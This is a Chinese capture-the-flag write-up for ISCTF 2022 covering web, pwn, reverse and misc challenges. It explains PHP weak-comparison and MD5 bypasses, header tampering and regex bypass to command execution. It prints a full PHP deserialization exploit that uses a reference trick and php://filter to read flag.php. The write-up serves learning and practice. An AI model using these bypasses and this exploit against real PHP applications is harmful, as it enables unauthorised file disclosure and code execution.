前言
算是本人第一次打的团队赛,战绩还是挺可观的,成功打进了新生赛道前20喜提awd
WEB
EASY-PHP01
 
打开靶机可以看到以上界面,f12查看页面
 
get传入hint
 
阅读源代码可知post传入ISCTF的值要弱等于114514但是不能强等于114514才能得到flag
所以根据php弱类型语言匹配的特性传入114514a得到flag
 
EASY-PHP02
 
 
阅读源代码可知get传参传入任意NAME且传入P0ST1和P0ST2(这里是数字0不是O)使P0ST1的值等于P0ST2 MD5加密后的值得到flag1
且由于0e后面的值会被忽略所以传入
 
然后使用post传参传入GET1和GET2
这里GET1被过滤了纯数字且要等于0,依旧利用弱类型语言特性传入
 
然后要求传入一个非纯数字且大于678的GET2,于是传入并得到flag2
 
其中flag1为十六进制编码,flag2为url编码后base64编码
解码得
 
FakeWeb
 
打开靶机发现这个,题目提示这是假页面
于是打开burpsuite进行抓包
 
看到这里存在一个直接跳转的页面,发到重放器
发包返回304,经过查阅资料,发现If-None-Match和ETag是解题关键点
要If-None-Match和ETag的值不相等才会返回一个新的页面,更改If-None-Match的值,然后进行发包
得到flag
 
simplephp
 
代码审计得知要get传参传入str与pattern进行匹配,所以传入str
 
然后要求传入num为36但过滤了36前没用的字符,所以直接使用换页符%0c
 
最后传入cmd获取flag回显
 
猫和老鼠(复现)
反序列化引用绕过
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class mouse
{
    public $v;
    public function __toString()
    {
        echo "Good. You caught the mouse:";
        include($this->v);
    }
}
class cat
{
    public $a;
    public $b;
    public $c;
    public function __destruct()
    {
        $this->dog();
        $this->b = $this->c;  // c影响b,同时会影响a
        die($this->a);     // 相当于echo,和tostring一起利用
    }
    public function dog()
    {
        $this->a = "I'm a vicious dog, Kitty";
    }
}
unserialize($_GET["cat"]);
需要注意的是$this->b=$this->c,给c赋值会影响到b
这里我们可以让$this->a = &$this->b,调用a的地址,那么die中的语句就会变成$this->c=new mouse(),即影响到了a
而die($this->a) 相当于echo,可以调用__toString
exp:
<?php
class mouse
{
    public $v="php://filter/convert.base64-encode/resource=flag.php";
}
class cat
{
    public $a;
    public $b;
    public $c;
    public function __construct()
    {
        $this->a = &$this->b;  //&引用
        $this->c = new mouse();   //c->b->a,调用include函数
    }
}
echo serialize(new cat());
PWN
nc_pwn
 
nc直接连接靶机
 
输入ls命令查看目录得知flag在/flag中
 
可知cat命令不存在
 
ls查看bin文件,得知只有以上三个可用指令
 
使用read和sh得到flag
Reverse
SigninReverse
打开并下载文件
 
直接拖进ida f5分析得到flag
开摆re
 
下载文件拖入ida中f5进行分析
分析一下这个代码的意思,若数组num与key异或得到的结果res等于right就会得到激活码
那么编写脚本并运行
 
输入程序中验证
 
flag即为这个激活码
MISC
Welcome To ISCTF2022
扫码回复ISCTF2022得到flag
简单社工
 
如图,由高雄捷运得知地点位于高雄市,且得知捷运的起点站和终点站为小港和冈山及到站时间
 
查询得知位于高雄地铁红线
 
查询该铁路线的到站时间可匹配巨蛋站
 
按照要求进行md5加密即可